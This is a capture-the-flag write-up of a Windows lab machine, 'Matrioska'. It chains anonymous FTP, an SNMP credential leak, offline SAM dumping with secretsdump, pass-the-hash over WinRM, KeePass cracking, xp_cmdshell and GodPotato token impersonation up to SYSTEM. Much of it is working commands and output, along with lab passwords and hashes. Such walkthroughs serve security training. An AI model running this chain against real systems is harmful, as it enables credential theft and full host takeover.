Matrioska - Ronin66 Machine

Summary#

Matrioska is a Windows host exposing FTP, SMB, SNMP, WinRM, and MSSQL. Initial enumeration revealed anonymous FTP access to a log file containing an SNMP community string. Walking SNMP with the recovered community exposed a cleartext credential for svc_smb, which granted access to a non-default TMP SMB share.

The TMP share contained several files and archives, including a full System32 dump. Extracting the offline SAM, SYSTEM, and SECURITY hives with secretsdump recovered the local Administrator NT hash. RID brute forcing then revealed the Dean account, which reused the same password hash, allowing pass-the-hash authentication over WinRM and access to the user flag.

Further enumeration revealed a KeePass database in Dean’s Documents directory. The first database could not be cracked with rockyou.txt, but another deleted .kdbx file was recovered from the Recycle Bin. This database cracked successfully and contained the MSSQL sa credentials.

The sa account was used to access MSSQL and enable xp_cmdshell. Since the SQL Server process had SeImpersonatePrivilege, GodPotato was used to impersonate a SYSTEM token and execute commands as NT AUTHORITY\SYSTEM, resulting in full control of the machine.

Recon#

Initial Enumeration#

A full TCP scan with service detection was performed to identify the exposed services:

1
➜  Matrioska nmap -sC -sV -p- 172.16.18.11 --min-rate 5000
2
PORT      STATE SERVICE       VERSION
3
21/tcp    open  ftp           Microsoft ftpd
4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
5
|_07-27-25  11:58AM       <DIR>          logs
6
| ftp-syst:
7
|_  SYST: Windows_NT
8
80/tcp    open  http          Microsoft IIS httpd 10.0
9
|_http-title: Site doesn't have a title.
10
| http-methods:
11
|   Supported Methods: OPTIONS TRACE GET HEAD POST
12
|_  Potentially risky methods: TRACE
13
|_http-server-header: Microsoft-IIS/10.0
14
135/tcp   open  msrpc         Microsoft Windows RPC
15
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
16
445/tcp   open  microsoft-ds?
17
5040/tcp  open  unknown
18
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
19
|_http-server-header: Microsoft-HTTPAPI/2.0
20
|_http-title: Not Found
21
7680/tcp  open  pando-pub?
22
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
23
|_http-server-header: Microsoft-HTTPAPI/2.0
24
|_http-title: Not Found
25
49664/tcp open  msrpc         Microsoft Windows RPC
26
49665/tcp open  msrpc         Microsoft Windows RPC
27
49666/tcp open  msrpc         Microsoft Windows RPC
28
49667/tcp open  msrpc         Microsoft Windows RPC
29
49669/tcp open  msrpc         Microsoft Windows RPC
30
49671/tcp open  msrpc         Microsoft Windows RPC
31
49672/tcp open  msrpc         Microsoft Windows RPC
32
50668/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM

Several services were immediately interesting, including anonymous FTP, SMB, WinRM, and MSSQL running on the non-standard port 50668. FTP was prioritized first because anonymous access was explicitly identified by Nmap.

FTP Enumeration#

As seen in the Nmap output, anonymous FTP access was allowed. We connected to the service and downloaded the exposed last_2025.txt file:

1
➜  Matrioska ftp 172.16.18.11
2
Connected to 172.16.18.11.
3
220 Microsoft FTP Service
4
Name (172.16.18.11:root): ftp
5
331 Anonymous access allowed, send identity (e-mail name) as password.
6
Password:
7
230 User logged in.
8
Remote system type is Windows_NT.
9
ftp> ls -la
10
229 Entering Extended Passive Mode (|||49823|)
11
125 Data connection already open; Transfer starting.
12
07-27-25  11:58AM       <DIR>          logs
13
226 Transfer complete.
14
ftp> cd logs
15
250 CWD command successful.
16
ftp> ls
17
229 Entering Extended Passive Mode (|||49825|)
18
125 Data connection already open; Transfer starting.
19
11-21-25  07:05PM                   38 last_2025.txt
20
226 Transfer complete.
21
ftp> get last_2025.txt
22
local: last_2025.txt remote: last_2025.txt
23
229 Entering Extended Passive Mode (|||49826|)
24
125 Data connection already open; Transfer starting.
25
100% |*********************************************************************|    38        0.14 KiB/s    00:00 ETA
26
226 Transfer complete.
27
38 bytes received in 00:00 (0.13 KiB/s)
28
ftp>

The downloaded file contained what appeared to be an SNMP community string:

1
➜  Matrioska cat last_2025.txt
2
SNMP: gdnceukal87wh66mxz109swklax567j8

SNMP Enumeration#

The recovered community string was used to enumerate the SNMP service:

1
➜  Matrioska snmpwalk -v2c -c gdnceukal87wh66mxz109swklax567j8 172.16.18.11
2

3
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 15 Model 107 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 26100 Multiprocessor Free)"
4
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1
5
iso.3.6.1.2.1.1.3.0 = Timeticks: (1557900268) 180 days, 7:30:02.68
6
iso.3.6.1.2.1.1.4.0 = STRING: "Username: svc_smb | pass: !Smbsvc_2025#66#"
7
iso.3.6.1.2.1.1.5.0 = STRING: "MTK161"
8
iso.3.6.1.2.1.1.6.0 = ""
9
iso.3.6.1.2.1.1.7.0 = INTEGER: 76
10
iso.3.6.1.2.1.2.1.0 = INTEGER: 17
11
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
12
<SNIP>

The SNMP data exposed a cleartext credential:

1
svc_smb : !Smbsvc_2025#66#

This credential was then tested against SMB.

Shell as Dean#

SMB Enumeration#

Using the recovered credentials, we enumerated the available SMB shares:

1
➜  Matrioska nxc smb 172.16.18.11 -u 'svc_smb' -p '!Smbsvc_2025#66#' --shares
2
SMB         172.16.18.11    445    MTK161           [*] Windows 11 / Server 2025 Build 26100 x64 (name:MTK161) (domain:MTK161) (signing:True) (SMBv1:None)
3
SMB         172.16.18.11    445    MTK161           [+] MTK161\svc_smb:!Smbsvc_2025#66#
4
SMB         172.16.18.11    445    MTK161           [*] Enumerated shares
5
SMB         172.16.18.11    445    MTK161           Share           Permissions     Remark
6
SMB         172.16.18.11    445    MTK161           -----           -----------     ------
7
SMB         172.16.18.11    445    MTK161           ADMIN$                          Remote Admin
8
SMB         172.16.18.11    445    MTK161           C$                              Default share
9
SMB         172.16.18.11    445    MTK161           IPC$            READ            Remote IPC
10
SMB         172.16.18.11    445    MTK161           TMP             READ

The TMP share allowed read access and was not a standard administrative share. We connected to it with smbclient:

1
➜  Matrioska smbclient //172.16.18.11/TMP -U 'svc_smb'
2
Password for [WORKGROUP\svc_smb]:
3
Try "help" to get a list of possible commands.
4
smb: \> ls
5
  .                                   D        0  Fri Nov 21 11:20:46 2025
6
  ..                                DHS        0  Sat Mar 14 07:38:07 2026
7
  archives                            D        0  Mon Jul 28 11:49:48 2025
8
  backup                              D        0  Mon Jul 28 11:50:13 2025
9
  confidential_notes.txt              A       34  Sat Jul 26 07:04:12 2025
10
  config_666.log                      A       67  Sat Jul 26 07:04:12 2025
11
  data_243.cfg                        A       64  Sat Jul 26 07:04:12 2025
12
  logfile_332.cfg                     A      264  Sat Jul 26 07:04:12 2025
13
  logs                                D        0  Mon Jul 28 11:49:48 2025
14
  old                                 D        0  Mon Jul 28 11:49:48 2025
15
  password                            D        0  Mon Jul 28 11:49:48 2025
16
  reports                             D        0  Mon Jul 28 11:49:48 2025
17
  temp                                D        0  Mon Jul 28 11:49:48 2025
18
  win11base.zip                       A 117875513  Fri Nov 21 11:22:10 2025
19
  windows_backup_2022.zip             A      256  Sat Jul 26 07:04:12 2025
20

21
        16558079 blocks of size 4096. 5578867 blocks available
22
smb: \>

Because the share contained a large number of files and directories, the entire share was downloaded recursively:

1
smb: \> prompt off
2
smb: \> recurse on
3
smb: \> mget *

Offline File Analysis#

We then reviewed the downloaded files locally. The password directory contained a short list of candidate passwords:

1
➜  Matrioska ls
2
archives  confidential_notes.txt  data_243.cfg     logs  password  temp           windows_backup_2022.zip
3
backup    config_666.log          logfile_332.cfg  old   reports   win11base.zip
4
➜  Matrioska cat password/secret.txt
5
test123
6
dsa/65!!ew
7
O91pSMMVe7Zp
8
@@mHGDy12/1

The windows_backup_2022.zip archive was password protected. The password O91pSMMVe7Zp successfully opened it, but it contained no useful data.

The larger win11base.zip archive was more interesting. It contained a dump of the Windows System32 directory:

1
➜  Matrioska unzip win11base.zip
2
Archive:  win11base.zip
3
   creating: System32/
4
   creating: System32/pl-PL/
5
  inflating: System32/@facial-recognition-windows-hello.gif
6
   creating: System32/SleepStudy/
7
   creating: System32/SleepStudy/ScreenOn/
8
  inflating: System32/SleepStudy/ScreenOn/ScreenOnPowerStudyTraceSession-2025-07-26-11-54-43.etl
9
  inflating: System32/SleepStudy/ScreenOn/ScreenOnPowerStudyTraceSession-2025-07-26-11-57-49.etl
10
  inflating: System32/SleepStudy/ScreenOn/ScreenOnPowerStudyTraceSession-2025-07-26-11-52-54.etl
11
  inflating: System32/SleepStudy/SleepStudyTraceSession.etl
12
  inflating: System32/SleepStudy/SleepStudyControlTraceSession.etl
13
   creating: System32/spool/
14
<SNIP>

Since the dump contained the SAM, SYSTEM, and SECURITY registry hives, we used impacket-secretsdump to extract the local account hashes:

1
➜  Matrioska impacket-secretsdump -sam System32/config/SAM -system System32/config/SYSTEM -security System32/config/SECURITY LOCAL
2
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
3

4
[*] Target system bootKey: 0x5c304423d95caa7c914c70513985ff40
5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e409434e38dfec25410d83696964c1e4:::
7
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
8
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
9
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:bc06173bf532b317980d7ebe8e73a220:::
10
Sam:1001:aad3b435b51404eeaad3b435b51404ee:cba29c45445dda60bdb47c5ea1fc86c9:::
11
[*] Dumping cached domain logon information (domain/username:hash)
12
[*] Dumping LSA Secrets
13
[*] DefaultPassword
14
(Unknown User):_TBAL_{68EDDCF5-0AEB-4C28-A770-AF5302ECA3C9}
15
[*] DPAPI_SYSTEM
16
dpapi_machinekey:0x023d015b9a14b112bc0cbf9254bd53043a37fdfd
17
dpapi_userkey:0xee70c54fc798a6b0c5439444a636ebe33ca12f7d
18
<SNIP>
19
[*] Cleaning up...

The dump provided the NT hash for the local Administrator account:

1
Administrator : e409434e38dfec25410d83696964c1e4

We then needed to identify the available users on the target.

RID Brute Forcing#

Using the valid svc_smb credentials, RID brute forcing was performed against SMB:

1
➜  Matrioska nxc smb 172.16.18.11 -u 'svc_smb' -p '!Smbsvc_2025#66#' --rid-brute
2
SMB         172.16.18.11    445    MTK161           [*] Windows 11 / Server 2025 Build 26100 x64 (name:MTK161) (domain:MTK161) (signing:True) (SMBv1:None)
3
SMB         172.16.18.11    445    MTK161           [+] MTK161\svc_smb:!Smbsvc_2025#66#
4
SMB         172.16.18.11    445    MTK161           500: MTK161\Administrator (SidTypeUser)
5
SMB         172.16.18.11    445    MTK161           501: MTK161\Guest (SidTypeUser)
6
SMB         172.16.18.11    445    MTK161           503: MTK161\DefaultAccount (SidTypeUser)
7
SMB         172.16.18.11    445    MTK161           504: MTK161\WDAGUtilityAccount (SidTypeUser)
8
SMB         172.16.18.11    445    MTK161           513: MTK161\None (SidTypeGroup)
9
SMB         172.16.18.11    445    MTK161           1001: MTK161\Dean (SidTypeUser)
10
SMB         172.16.18.11    445    MTK161           1002: MTK161\svc_smb (SidTypeUser)
11
SMB         172.16.18.11    445    MTK161           1003: MTK161\SQLServer2005SQLBrowserUser$MTK161 (SidTypeAlias)
12
➜  Matrioska

The Dean account was identified with RID 1001. Since the recovered Administrator hash was available, we tested it against Dean using pass-the-hash authentication over WinRM:

1
➜  Matrioska nxc winrm 172.16.18.11 -u 'Dean' -H 'e409434e38dfec25410d83696964c1e4'
2
WINRM       172.16.18.11    5985   MTK161           [*] Windows 11 / Server 2025 Build 26100 (name:MTK161)
3
WINRM       172.16.18.11    5985   MTK161           [+] MTK161\Dean:e409434e38dfec25410d83696964c1e4 (Pwn3d!)
4

5
➜  Matrioska evil-winrm -i 172.16.18.11 -u 'Dean' -H 'e409434e38dfec25410d83696964c1e4'
6

7
Evil-WinRM shell v3.9
8

9
<SNIP>
10

11
Info: Establishing connection to remote endpoint
12
*Evil-WinRM* PS C:\Users> cd Public
13
*Evil-WinRM* PS C:\Users\Public> cat user.flg
14
609<SNIP>>729
15
*Evil-WinRM* PS C:\Users\Public>

We obtained a shell as Dean and retrieved the user flag.

Shell as NT AUTHORITY\SYSTEM#

KeePass Database - Failed#

With access as Dean, we enumerated the user’s files and found a KeePass database in the Documents directory:

1
*Evil-WinRM* PS C:\Users\Dean\Documents> ls
2

3
    Directory: C:\Users\Dean\Documents
4

5
Mode                 LastWriteTime         Length Name
6
----                 -------------         ------ ----
7
d-----         9/14/2026  10:39 PM                dpapi_stage
8
<SNIP>
9
-a----         7/28/2025  10:56 PM           1943 Database.kdbx

We downloaded the database and extracted its hash using keepass2john. The current version of John the Ripper was built from the bleeding-jumbo branch to provide the required KeePass support:

1
cd /opt
2
sudo git clone https://github.com/openwall/john -b bleeding-jumbo john-jumbo
3
cd john-jumbo/src
4
sudo apt install -y build-essential libssl-dev git zlib1g-dev yasm libgmp-dev libpcap-dev libbz2-dev
5
./configure && make -sj$(nproc)

We then attempted to crack the database using rockyou.txt:

1
➜  run git:(bleeding-jumbo) ./keepass2john /root/machines/ronin/Matrioska/Database.kdbx
2
Database:$keepass$*4*600000*c9d9f3<SNIP>a01c948d2
3

4
➜  run git:(bleeding-jumbo) ./john /root/machines/ronin/Matrioska/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
5
Using default input encoding: UTF-8
6
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
7
Cost 1 (t (rounds)) is 6000 for all loaded hashes
8
Cost 2 (m) is 0 for all loaded hashes
9
Cost 3 (p) is 0 for all loaded hashes
10
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 3 for all loaded hashes
11
Will run 4 OpenMP threads
12
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
13
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

The database used Argon2 and was not cracked with rockyou.txt.

Recovering the Deleted KeePass Database#

Since the first KeePass database did not provide the required credentials, further enumeration was performed. Two additional .kdbx files were found in the Recycle Bin:

1
*Evil-WinRM* PS C:\$Recycle.Bin> ls -force
2

3
    Directory: C:\$Recycle.Bin
4

5
Mode                 LastWriteTime         Length Name
6
----                 -------------         ------ ----
7
d--hs-        11/21/2025   5:45 PM                S-1-5-18
8
d--hs-         7/28/2025  10:55 PM                S-1-5-21-1990608512-1549956336-3991441458-1001
9
d--hs-         3/14/2026  12:02 PM                S-1-5-21-1990608512-1549956336-3991441458-500
10

11

12
*Evil-WinRM* PS C:\$Recycle.Bin> cd S-1-5-21-1990608512-1549956336-3991441458-1001
13
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001> ls
14

15
    Directory: C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001
16

17
Mode                 LastWriteTime         Length Name
18
----                 -------------         ------ ----
19
-a----         7/28/2025  10:55 PM             80 $IRQIR9O.kdbx
20
-a----         7/28/2025  10:54 PM           2062 $RRQIR9O.kdbx
21

22
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001>

The larger $RRQIR9O.kdbx file was copied to a location we could access:

1
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001> copy '$RRQIR9O.kdbx' C:\Users\Dean\Documents\found_database.kdbx
2
*Evil-WinRM* PS C:\$Recycle.Bin\S-1-5-21-1990608512-1549956336-3991441458-1001> cd /Users/Dean/Documents
3
*Evil-WinRM* PS C:\Users\Dean\Documents>

The recovered database was then extracted and cracked:

1
➜  run git:(bleeding-jumbo) ./keepass2john /root/machines/ronin/Matrioska/found_database.kdbx > /root/machines/ronin/Matrioska/hash.txt
2
➜  run git:(bleeding-jumbo) ./john /root/machines/ronin/Matrioska/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
3
Using default input encoding: UTF-8
4
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
5
<SNIP>
6
Failed to use huge pages (not pre-allocated via sysctl? that's fine)
7
lloyd7           (found_database)
8
1g 0:00:00:04 DONE (2026-09-14 20:52) 0.2045g/s 61756p/s 61756c/s 61756C/s lloyd7..lloyd143
9
Use the "--show" option to display all of the cracked passwords reliably
10
Session completed

The database password was lloyd7.

Opening the database revealed credentials for the MSSQL sa account.

KeePass database successfully opened

MSSQL sa credentials stored in KeePass

The recovered credential was:

1
sa : Imp0ss1bl3t0l3@kx!

MSSQL Access as sa#

The recovered credentials were used to connect to the MSSQL instance on port 50668:

1
➜  Matrioska impacket-mssqlclient sa@172.16.18.11 -port 50668
2
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
3

4
Password:
5
[*] Encryption required, switching to TLS
6
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
7
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
8
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
9
[*] INFO(MTK161\SQLEXPRESS): Line 1: Changed database context to 'master'.
10
[*] INFO(MTK161\SQLEXPRESS): Line 1: Changed language setting to us_english.
11
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
12
[!] Press help for extra shell commands
13
SQL (sa  dbo@master)>

The sa account provided a highly privileged SQL session. We enabled xp_cmdshell and checked the privileges of the resulting process:

1
➜  Matrioska impacket-mssqlclient sa@172.16.18.11 -port 50668
2
SQL (sa  dbo@master)> enable_xp_cmdshell
3
INFO(MTK161\SQLEXPRESS): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
4
INFO(MTK161\SQLEXPRESS): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
5
SQL (sa  dbo@master)> xp_cmdshell whoami /priv
6
output
7
--------------------------------------------------------------------------------
8
NULL
9

10
PRIVILEGES INFORMATION
11
----------------------
12
NULL
13

14
Privilege Name                Description                               State
15
============================= ========================================= ========
16
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
17
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
18
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
19
SeUndockPrivilege             Remove computer from docking station      Disabled
20
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled
21
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
22
SeCreateGlobalPrivilege       Create global objects                     Enabled
23
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
24
SeTimeZonePrivilege           Change the time zone                      Disabled

The SeImpersonatePrivilege privilege was enabled, providing a path to SYSTEM through token impersonation.

SeImpersonatePrivilege Abuse with GodPotato#

We used the MSSQL client to upload GodPotato to the target:

1
SQL (sa  dbo@master)> upload /root/tools/GodPotato-NET4.exe C:/Users/Public/GodPotato-NET4.exe
2
[+] Data length (b64-encoded): 74.67 KB with MD5: 1fdb1dd742674d3939f636c3fc4b761f
3
[+] Uploading...
4
[+] Uploaded
5
[+] certutil -decode "C:/Users/Public/GodPotato-NET4.exe.b64" "C:/Users/Public/GodPotato-NET4.exe"
6
[+] del "C:/Users/Public/GodPotato-NET4.exe.b64"
7
[+] certutil -hashfile "C:/Users/Public/GodPotato-NET4.exe" MD5
8
[+] MD5 hashes match
9
SQL (sa  dbo@master)>

With the binary on the host, we executed it through xp_cmdshell to impersonate the SYSTEM token:

1
SQL (sa  dbo@master)> xp_cmdshell C:/Users/Public/GodPotato-NET4.exe -cmd "cmd /c whoami"
2
output
3
--------------------------------------------------------------------------------
4
[*] CombaseModule: 0x140706148188160
5
[*] DispatchTable: 0x140706150905408
6
[*] UseProtseqFunction: 0x140706149879744
7
[*] UseProtseqFunctionParamCount: 6
8
[*] HookRPC
9
[*] Start PipeServer
10
[*] CreateNamedPipe \\.\pipe\963995d6-324a-47ed-bd7f-03f67e659fd0\pipe\epmapper
11
[*] Trigger RPCSS
12
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
13
[*] DCOM obj IPID: 0000b002-2ab8-ffff-32c1-faf82a91b313
14
[*] DCOM obj OXID: 0xf44df838e871054f
15
[*] DCOM obj OID: 0x470d5668585e4b44
16
[*] DCOM obj Flags: 0x281
17
[*] DCOM obj PublicRefs: 0x0
18
[*] Marshal Object bytes len: 100
19
[*] UnMarshal Object
20
[*] Pipe Connected!
21
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
22
[*] CurrentsImpersonationLevel: Impersonation
23
[*] Start Search System Token
24
[*] PID : 912 Token:0x732  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
25
[*] Find System Token : True
26
[*] UnmarshalObject: 0x80070776
27
[*] CurrentUser: NT AUTHORITY\SYSTEM
28
[*] process start with pid 6160
29
nt authority\system
30
NULL

The command executed successfully as NT AUTHORITY\SYSTEM.

We then used the same technique to retrieve the root flag:

1
SQL (sa  dbo@master)> xp_cmdshell C:/Users/Public/GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.flg"
2
output
3
--------------------------------------------------------------------------------
4
[*] CombaseModule: 0x140706148188160
5
[*] DispatchTable: 0x140706150905408
6
[*] UseProtseqFunction: 0x140706149879744
7
[*] UseProtseqFunctionParamCount: 6
8
[*] HookRPC
9
[*] Start PipeServer
10
[*] CreateNamedPipe \\.\pipe\fc74eb2e-6c12-48ac-9a7a-e796c74379db\pipe\epmapper
11
[*] Trigger RPCSS
12
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
13
[*] DCOM obj IPID: 00008402-06bc-ffff-e03c-0b24c1494eca
14
[*] DCOM obj OXID: 0xd7ec4831d0a0611
15
[*] DCOM obj OID: 0x17e291b912bbf92d
16
[*] DCOM obj Flags: 0x281
17
[*] DCOM obj PublicRefs: 0x0
18
[*] Marshal Object bytes len: 100
19
[*] UnMarshal Object
20
[*] Pipe Connected!
21
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
22
[*] CurrentsImpersonationLevel: Impersonation
23
[*] Start Search System Token
24
[*] PID : 912 Token:0x732  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
25
[*] Find System Token : True
26
[*] UnmarshalObject: 0x80070776
27
[*] CurrentUser: NT AUTHORITY\SYSTEM
28
[*] process start with pid 7796
29
ce1c<SNIP>555
30
SQL (sa  dbo@master)>